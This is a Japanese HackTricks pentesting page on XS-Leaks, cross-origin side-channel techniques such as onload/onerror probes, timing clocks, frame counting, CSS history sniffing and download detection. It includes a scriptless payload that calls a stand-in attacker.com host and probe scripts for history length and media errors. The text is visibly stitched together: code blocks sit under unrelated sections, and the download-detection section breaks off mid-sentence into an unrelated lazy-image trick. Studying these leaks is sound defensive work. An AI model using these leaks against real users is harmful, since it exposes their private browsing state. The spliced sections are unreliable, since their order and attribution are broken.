hacktricks/pentesting-web/xs-search.md

# XS-Search/XS-Leaks

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度なコミュニティツール**によって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>

<summary><strong>htARTE（HackTricks AWS Red Team Expert）</strong>で**ゼロからヒーローまでのAWSハッキング**を学びましょう！</summary>

HackTricksをサポートする他の方法：

* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
* [**公式PEASS＆HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリに提出する

</details>

## 基本情報

XS-Searchは、**サイドチャネル脆弱性**を利用して**クロスオリジン情報を抽出**するための手法です。

この攻撃に関与する主要なコンポーネントは次のとおりです：

* **脆弱なWeb**: 情報を抽出する対象のWebサイト。
* **攻撃者のWeb**: 攻撃者が作成した悪意のあるWebサイトで、被害者が訪れ、攻撃をホストする。
* **インクルージョンメソッド**: 脆弱なWebを攻撃者のWebに組み込むために使用される技術（例：window.open、iframe、fetch、hrefを持つHTMLタグなど）。
* **リーク技術**: インクルージョンメソッドを通じて収集された情報に基づいて脆弱なWebの状態の違いを識別するために使用される技術。
* **状態**: 攻撃者が区別しようとする脆弱なWebの2つの潜在的な状態。
* **検出可能な違い**: 攻撃者が脆弱なWebの状態を推測するために依存する観察可能な変化。

### 検出可能な違い

脆弱なWebの状態を区別するためにいくつかの側面が分析されます：

* **ステータスコード**: クロスオリジンで**さまざまなHTTP応答ステータスコード**を区別することができます。サーバーエラー、クライアントエラー、認証エラーなど。
* **APIの使用**: ページ間で**Web APIの使用**を特定し、クロスオリジンページが特定のJavaScript Web APIを使用しているかどうかを明らかにします。
* **リダイレクト**: HTTPリダイレクトだけでなく、JavaScriptやHTMLによってトリガーされる異なるページへのナビゲーションを検出します。
* **ページコンテンツ**: HTTP応答本体やページのサブリソース（埋め込まれたフレームの数や画像のサイズの違いなど）の**変化**を観察します。
* **HTTPヘッダー**: 特定のHTTP応答ヘッダー（X-Frame-Options、Content-Disposition、Cross-Origin-Resource-Policyなど）の**存在または値**に注意します。
* **タイミング**: 2つの状態間の一貫した時間の違いに注意します。

### インクルージョンメソッド

* **HTML要素**: HTMLは、スタイルシート、画像、スクリプトなど、ブラウザに非HTMLリソースのリクエストを要求させるさまざまな要素を提供します。この目的のための潜在的なHTML要素のコンパイルは、[https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks)で見つけることができます。
* **フレーム**: **iframe**、**object**、**embed**などの要素は、HTMLリソースを攻撃者のページに直接埋め込むことができます。ページに**フレーミング保護がない**場合、JavaScriptはcontentWindowプロパティを介してフレーム化されたリソースのwindowオブジェクトにアクセスできます。
* **ポップアップ**: **`window.open`**メソッドは、新しいタブやウィンドウでリソースを開き、SOPに従ってメソッドやプロパティとやり取りするための**ウィンドウハンドル**を提供します。シングルサインオンでよく使用されるポップアップは、対象リソースのフレーミングやクッキー制限を回避します。ただし、現代のブラウザはポップアップの作成を特定のユーザーアクションに制限しています。
* **JavaScriptリクエスト**: JavaScriptは、**XMLHttpRequest**や**Fetch API**を使用して対象リソースに直接リクエストを行うことができます。これらのメソッドは、HTTPリダイレクトのフォローアップなど、リクエストに対する正確な制御を提供します。

### リーク技術

* **イベントハンドラ**: XS-Leaksの古典的なリーク技術であり、**onload**や**onerror**などのイベントハンドラは、リソースの読み込みの成功または失敗に関する洞察を提供します。
* **エラーメッセージ**: JavaScriptの例外や特別なエラーページは、エラーメッセージ自体からまたはその存在と不在の違いからリーク情報を提供することができます。
* **グローバルリミット**: ブラウザの物理的制限（メモリ容量など）は、閾値に達したときに信号を送ることができ、リーク技術として機能します。
* **グローバルステート**: ブラウザの**グローバルステート**（履歴インターフェースなど）との検出可能な相互作用を悪用することができます。たとえば、ブラウザの履歴に含まれる**エントリの数**は、クロスオリジンページに関する手がかりを提供する可能性があります。
* **Performance API**: このAPIは、現在のページの**パフォーマンスの詳細**を提供し、ドキュメントや読み込まれたリソースのネットワークタイミングを含め、リクエストされたリソースに関する推論を可能にします。
* **読み取り可能な属性**: 一部のHTML属性は**クロスオリジンで読み取り可能**であり、リーク技術として使用できます。たとえば、`window.frame.length`プロパティは、クロスオリジンのWebページに含まれるフレームの数をJavaScriptで数えることができます。

## XSinatorツール＆論文

XSinatorは、その論文で説明されている**いくつかの既知のXS-Leaksに対してブラウザをチェックする**自動ツールです：**[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)**

ツールには、[https://xsinator.com/](https://xsinator.com/)でアクセスできます

{% hint style="warning" %}
**除外されたXS-Leaks**: 他のXSinatorのリークと干渉する可能性があるため、**サービスワーカーに依存するXS-Leaks**を除外する必要がありました。さらに、特定のWebアプリケーションの**ミス構成やバグに依存するXS-Leaks**も除外することにしました。たとえば、Cross-Origin Resource Sharing（CORS）の誤構成、postMessageの漏洩、Cross-Site Scriptingなど。さらに、時間ベースのXS-Leaksも除外しました。なぜなら、それらはしばしば遅く、騒々しく、正確性に欠けるからです。
{% endhint %}

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度なコミュニティツール**によって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## **タイミングベースの技術**

以下のいくつかの技術は、Webページの可能な状態の違いを検出するプロセスの一部として、タイミングを使用します。Webブラウザで時間を測定するさまざまな方法があります。

**クロック**: [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) APIを使用すると、高解像度のタイミング測定を取得できます。\
攻撃者が暗黙のクロックを作成するために悪用できるAPIは多数あります：[Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast\_Channel\_API)、[Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel)、[requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame)、[setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout)、CSSアニメーションなど。\
詳細については、[https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/)を参照してください。

## イベントハンドラ技術

### Onload/Onerror

* **インクルージョンメソッド**: フレーム、HTML要素
* **検出可能な違い**: ステータスコード
* **詳細情報**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu)、[https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
* **概要**: リソースを読み込もうとする場合、onerror/onloadイベントがリソースの読み込みが成功/失敗したときにトリガーされるため、ステータスコードを特定することが可能です。
* **コード例**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](https://xsinator.com/testing.html#Event%20Handler%20Leak%20\(Script\))

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %}
[cookie-bomb-+-onerror-xs-leak.md](xs-search/cookie-bomb-+-onerror-xs-leak.md)
{% endcontent-ref %}

コード例では、**JSからスクリプトオブジェクトを読み込もうとします**が、他のタグ（オブジェクト、スタイルシート、画像、音声など）も使用できます。さらに、**タグを直接挿入**して、タグ内に`onload`と`onerror`イベントを宣言することも可能です。

この攻撃にはスクリプトレスバージョンもあります。
```html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
```
### Onload Timing

* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
* **Summary:** [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API**を使用してリクエストの処理にかかる時間を測定できます。他のクロックも使用可能で、[**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming)は50ms以上実行されるタスクを識別できます。
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) 他の例:

{% content-ref url="xs-search/performance.now-example.md" %}
[performance.now-example.md](xs-search/performance.now-example.md)
{% endcontent-ref %}

#### Onload Timing + Forced Heavy Task

この技術は前のものと同様ですが、**attacker**は**positiveまたはnegativeの回答**時に**関連する時間**をかけて**いくつかのアクションを強制**し、その時間を測定します。

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %}
[performance.now-+-force-heavy-task.md](xs-search/performance.now-+-force-heavy-task.md)
{% endcontent-ref %}

### unload/beforeunload Timing

* **Inclusion Methods**: Frames
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
* **Summary:** [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers)を使用してリクエストの処理にかかる時間を測定できます。他のクロックも使用可能です。
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)

リソースを取得するのにかかる時間は、[`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event)と[`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) イベントを利用して測定できます。**`beforeunload`** イベントはブラウザが新しいページに移動しようとしているときに発生し、**`unload`** イベントは実際の移動が行われているときに発生します。これら2つのイベントの時間差を計算することで、**ブラウザがリソースを取得するのに費やした時間**を判断できます。

### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>

* **Inclusion Methods**: Frames
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
* **Summary:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API**を使用してリクエストの処理にかかる時間を測定できます。他のクロックも使用可能です。
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)

[Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/)がない場合、ページとそのサブリソースがネットワーク上で読み込まれるのにかかる時間を攻撃者が測定できることが観察されています。これは通常、iframeの`onload`ハンドラがリソースの読み込みとJavaScriptの実行が完了した後にトリガーされるため可能です。スクリプトの実行によって導入される変動をバイパスするために、攻撃者は`<iframe>`内で[`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe)属性を使用することがあります。この属性の追加により、JavaScriptの実行を含む多くの機能が制限され、主にネットワークのパフォーマンスに影響を受ける測定が容易になります。
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
```
### #ID + エラー + onload

* **Inclusion Methods**: フレーム
* **Detectable Difference**: ページコンテンツ
* **More info**:
* **Summary**: 正しいコンテンツにアクセスしたときにページにエラーを発生させ、任意のコンテンツにアクセスしたときに正しく読み込まれるようにすることができれば、時間を計測せずにすべての情報を抽出するためのループを作成できます。
* **Code Example**:

ページに**秘密の**コンテンツを**挿入**できると仮定します。**Iframe**内に。

被害者に「_**flag**_」を含むファイルを検索させることができます（たとえばCSRFを悪用）。Iframe内では、_**onload イベント**_が**常に少なくとも1回実行される**ことがわかります。その後、URLの**ハッシュ**の**コンテンツ**だけを変更して、**iframe**の**URL**を変更できます。

例：

1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2

最初のURLが**正常に読み込まれた**場合、URLの**ハッシュ**部分を**変更**しても**onload**イベントは**再度トリガーされません**。しかし、ページが**読み込み時にエラー**があった場合、**onload**イベントは**再度トリガー**されます。

その後、**正しく**読み込まれたページとアクセス時に**エラー**があるページを**区別**することができます。

### Javascript Execution

* **Inclusion Methods**: フレーム
* **Detectable Difference**: ページコンテンツ
* **More info**:
* **Summary:** **ページ**が**機密情報**を**返す**か、ユーザーが**制御可能なコンテンツ**を**返す**場合。ユーザーは**負の場合に有効なJSコードを設定**し、各試行を**`<script>`**タグ内で**ロード**することができます。したがって、**負の**場合は攻撃者の**コードが実行**され、**肯定的**な場合は**何も**実行されません。
* **Code Example**:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %}
[javascript-execution-xs-leak.md](xs-search/javascript-execution-xs-leak.md)
{% endcontent-ref %}

### CORB - Onerror

* **Inclusion Methods**: HTML要素
* **Detectable Difference**: ステータスコード＆ヘッダー
* **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
* **Summary**: **Cross-Origin Read Blocking (CORB)** は、**Spectre**などの攻撃から保護するために特定の機密なクロスオリジンリソースの読み込みを防ぐセキュリティ対策です。しかし、攻撃者はその保護機能を悪用することができます。**CORB**に従う応答が**CORBで保護された**`Content-Type`と`nosniff`を持つ`2xx`ステータスコードを返すと、**CORB**は応答の本文とヘッダーを削除します。これを観察する攻撃者は、**ステータスコード**（成功またはエラーを示す）と`Content-Type`（**CORB**で保護されているかどうかを示す）の組み合わせを推測し、潜在的な情報漏洩を引き起こす可能性があります。
* **Code Example**:

攻撃に関する詳細情報については、リンクを確認してください。

### onblur

* **Inclusion Methods**: フレーム
* **Detectable Difference**: ページコンテンツ
* **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
* **Summary**: IDまたはname属性から機密データを漏洩させることができます。
* **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)

**iframe**内に**ページ**を**ロード**し、**`#id_value`**を使用して、iframe内の要素に**フォーカス**させることができます。その後、**`onblur`**シグナルがトリガーされると、ID要素が存在することがわかります。\
**`portal`**タグでも同じ攻撃を実行できます。

### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>

* **Inclusion Methods**: フレーム、ポップアップ
* **Detectable Difference**: APIの使用
* **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
* **Summary**: postMessageから機密情報を収集するか、postMessagesの存在をオラクルとして使用してユーザーのページ内の状態を知ることができます。
* **Code Example**: `すべてのpostMessageをリッスンするコード。`

アプリケーションは異なるオリジン間で通信するために頻繁に[`postMessage`ブロードキャスト](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage)を使用します。ただし、`targetOrigin`パラメータが適切に指定されていない場合、この方法は**機密情報**を誤って公開する可能性があります。さらに、メッセージを受信するだけでも**オラクル**として機能することができます。たとえば、特定のメッセージはログインしているユーザーにのみ送信される場合があります。したがって、これらのメッセージの存在または不在により、ユーザーの状態やアイデンティティに関する情報が漏洩する可能性があります。

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
```javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}
```
### CORSエラー

* **含有方法**: Fetch API
* **検出可能な違い**: ヘッダー
* **詳細**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **概要**: セキュリティアサーション（SA）において、CORSエラーメッセージが誤ってリダイレクトされたリクエストの完全なURLを公開してしまう。
* **コード例**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)

この技術は、WebkitベースのブラウザがCORSリクエストを処理する方法を悪用し、**CORS対応リクエスト**がユーザーの状態に基づいてリダイレクトを行うターゲットサイトに送信され、ブラウザがそのリクエストを拒否した場合、エラーメッセージ内にリダイレクト先の**完全なURL**が開示されることで、攻撃者は**クロスオリジンサイトのリダイレクト先を抽出**することができます。この脆弱性により、リダイレクトの事実だけでなく、リダイレクトのエンドポイントとそれが含む可能性のある**機密クエリパラメータ**も公開されます。

### SRIエラー

* **含有方法**: Fetch API
* **検出可能な違い**: ヘッダー
* **詳細**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **概要**: セキュリティアサーション（SA）において、SRIエラーメッセージが誤ってリダイレクトされたリクエストの完全なURLを公開してしまう。
* **コード例**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)

攻撃者は、**冗長なエラーメッセージ**を悪用して、クロスオリジンの応答のサイズを推測することができます。これは、Subresource Integrity（SRI）のメカニズムが、CDNから頻繁に取得されるリソースが改ざんされていないことを検証するために整合性属性を使用するためです。SRIがクロスオリジンリソースで機能するためには、これらが**CORS対応**である必要があります。セキュリティアサーション（SA）では、CORSエラーXS-Leakと同様に、整合性属性を持つフェッチリクエスト後にエラーメッセージをキャプチャすることができます。攻撃者は、任意のリクエストの整合性属性に**虚偽のハッシュ値**を割り当てることで、故意に**このエラーをトリガー**することができます。SAでは、結果として得られるエラーメッセージが、リクエストされたリソースのコンテンツ長を誤って明らかにします。この情報漏洩により、攻撃者は応答サイズの変化を識別し、洗練されたXS-Leak攻撃の道を開くことができます。
```javascript
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));
```
### フレームカウント

* **含まれる方法**: フレーム、ポップアップ
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
* **概要**: `window.length` プロパティを検査して iframe 要素の量を評価します。
* **コード例**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)

Web 上で `iframe` や `window.open` を介して開かれた **web のフレームの数を数える**ことは、**そのページ上のユーザーの状態を特定する**のに役立つかもしれません。\
さらに、ページに常に同じ数のフレームがある場合、**継続的に**フレームの数をチェックすることで、情報が漏洩する可能性がある **パターン** を特定するのに役立つかもしれません。

この技術の例として、Chrome では `embed` が内部で使用されるため、 **PDF** を **フレームカウント** で **検出** できます。 `zoom`、`view`、`page`、`toolbar` などの [Open URL パラメータ](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) があり、この技術は興味深いかもしれません。

### HTMLElements

* **含まれる方法**: HTML 要素
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
* **概要**: 漏洩した値を読み取り、2つの可能な状態を区別します
* **コード例**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)

HTML 要素を介した情報漏洩は、特に動的メディアファイルがユーザー情報に基づいて生成される場合や、ウォーターマークが追加され、メディアサイズが変更される場合に、Web セキュリティ上の懸念事項です。これは、特定の HTML 要素によって公開される情報を分析することで、攻撃者が可能な状態を区別するために悪用することができます。

### HTML 要素によって公開される情報

- **HTMLMediaElement**: この要素はメディアの `duration` と `buffered` 時間を公開し、その API を介してアクセスできます。
[HTMLMediaElement について詳しく読む](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: `videoHeight` と `videoWidth` を公開します。一部のブラウザでは、`webkitVideoDecodedByteCount`、`webkitAudioDecodedByteCount`、`webkitDecodedFrameCount` などの追加のプロパティが利用可能で、メディアコンテンツについてより詳細な情報を提供します。
[HTMLVideoElement について詳しく読む](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()**: この関数は、`totalVideoFrames` を含むビデオ再生品質に関する詳細を提供し、処理されたビデオデータの量を示すことができます。
[getVideoPlaybackQuality() について詳しく読む](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: この要素は画像の `height` と `width` を漏洩します。ただし、画像が無効な場合、これらのプロパティは 0 を返し、`image.decode()` 関数は画像を正しく読み込めなかったことを示すために拒否されます。
[HTMLImageElement について詳しく読む](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)

### CSS プロパティ

* **含まれる方法**: HTML 要素
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
* **概要**: ユーザーの状態やステータスに関連するウェブサイトのスタイリングの変化を特定します。
* **コード例**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)

Web アプリケーションは、**ユーザーの状態に応じてウェブサイトのスタイリングを変更**することがあります。クロスオリジン CSS ファイルは、HTML リンク要素を使用して攻撃者ページに埋め込まれ、その **ルール** が攻撃者ページに **適用** されます。ページがこれらのルールを動的に変更する場合、攻撃者はユーザーの状態に応じてこれらの **違い** を **検出** することができます。\
漏洩技術として、攻撃者は特定の HTML 要素の CSS プロパティを **読み取る** ために `window.getComputedStyle` メソッドを使用できます。その結果、影響を受ける要素とプロパティ名がわかっていれば、攻撃者は任意の CSS プロパティを読み取ることができます。

### CSS 履歴

* **含まれる方法**: HTML 要素
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
* **概要**: `:visited` スタイルが適用されているかどうかを検出し、すでに訪れたことがあることを示す URL に適用されます。
* **コード例**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)

{% hint style="info" %}
[**こちら**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) によると、ヘッドレス Chrome では機能しないそうです。
{% endhint %}

CSS の `:visited` セレクタは、ユーザーが以前に訪れた URL を異なるスタイルで表示するために使用されます。以前は、`getComputedStyle()` メソッドを使用してこれらのスタイルの違いを特定することができました。しかし、現代のブラウザは、このメソッドがリンクの状態を明らかにするのを防ぐためのセキュリティ対策を実装しています。これには、常にリンクが訪れたときの計算されたスタイルを返し、`:visited` セレクタで適用できるスタイルを制限するという措置が含まれます。

これらの制限にもかかわらず、リンクの訪問状態を間接的に特定することは可能です。ユーザーを CSS に影響を受ける領域とやり取りさせるテクニックの1つは、特に `mix-blend-mode` プロパティを使用することです。このプロパティは、要素を背景と混合することを可能にし、ユーザーの操作に基づいて訪問状態を明らかにする可能性があります。

さらに、ユーザーの操作なしに検出を行うことも可能です。リンクのレンダリングタイミングを悪用することで、訪れたリンクと未訪問リンクをブラウザが異なる方法でレンダリングする可能性があるため、レンダリングに時間差が生じる可能性があります。Chromium のバグレポートには、このテクニックを使用して訪問状態をタイミング分析を通じて検出するために複数のリンクを使用する証拠が示されています。

これらのプロパティや方法の詳細については、それぞれのドキュメントページをご覧ください：
- `:visited`: [MDN ドキュメント](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
- `getComputedStyle()`: [MDN ドキュメント](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
- `mix-blend-mode`: [MDN ドキュメント](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)

### ContentDocument X-Frame Leak

* **含まれる方法**: フレーム
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
* **概要**: Google Chrome では、X-Frame-Options 制限によりクロスオリジンサイトに埋め込まれるページがブロックされた場合、専用のエラーページが表示されます。
* **コード例**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)

Chrome では、`X-Frame-Options` ヘッダーが "deny" または "same-origin" に設定されたページがオブジェクトとして埋め込まれると、エラーページが表示されます。Chrome は、他のブラウザとは異なり、このオブジェクトの `contentDocument` プロパティに対して `null` ではなく空のドキュメントオブジェクトを返します。開発者が X-Frame-Options ヘッダーを一貫して設定せず、エラーページを見落とすことが多いため、攻撃者はこの空のドキュメントを検出して、ユーザーの状態に関する情報を漏洩させる可能性があります。このような漏洩を防ぐためには、セキュリティヘッダーの意識と一貫した適用が重要です。

### ダウンロード検出

* **含まれる方法**: フレーム、ポップアップ
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
* **概要**: iframe を活用してファイルダウンロードを区別することができます。iframe への継続的なアクセス可能性は、ファイルダウンロードが成功したことを示唆します。
* **コード例**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)

`Content-Disposition` ヘッダー、特に `Content-Disposition: attachment` は、ブラウザにコンテンツをインライン表示するのではなくダウンロードするよう指示します。この動作を利用して、ファイルダウンロードをトリガーするページにアクセスできるかどうかを検出することができます。Chromium ベースのブラウザでは、次のようないくつかのテクニックを使用してこのダウンロード動作を検出できます。

1. **ダウンロードバーの監視**:
- Chromium ベースのブラウザでファイルをダウンロードすると、ブラウザウィンドウの下部にダウンロードバーが表示されます。
- ウィンドウの高さの変化を監視することで、ダウンロードバーが表示されたことを推測し、ダウンロードが開始されたことを示唆することができます。

2. **iframe を使用したダウンロードナビゲーション**:
- ページが `Content-Disposition: attachment` ヘッダーを使用してファイルダウンロードをトリガーすると、ナビゲーションイベントが発生しません。
- iframe にコンテンツを読み込み、ナビゲーションイベントを監視することで、コンテンツの配置がファイルダウンロードを引き起こすかどうかを確認できます（ナビゲーションは発生しません）。

3. **iframe を使用しないダウンロードナビゲーション**:
- iframe の代わりに `window.open` を使用するこの方法では、新しく開かれたウィンドウでナビゲーションイベントを監視します。ファイルダウンロードがトリガーされたかどうか（ナビゲーションが発生しない）や、コンテンツがインラインで表示されるかどうかを確認できます。

これらのテクニックは、通常、ログイン済み
```html
<img src=/something loading=lazy >
```
したがって、できることは、**多くのジャンク文字を追加する**ことです（たとえば**何千もの"W"**）。**秘密の前にWebページを埋めるか、** `<br><canvas height="1850px"></canvas><br>`のようなものを追加します。\
その後、たとえば**インジェクションがフラグの前に現れる**場合、**画像**は**読み込まれます**が、フラグの後に現れる場合、フラグとジャンクが**読み込まれないように防ぎます**（どれだけのジャンクを配置するかを調整する必要があります）。これは[**この解説**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)で起こったことです。

もう1つのオプションは、許可されている場合に**scroll-to-text-fragment**を使用することです：

#### Scroll-to-text-fragment

ただし、**ボットがページにアクセス**するようにします
```
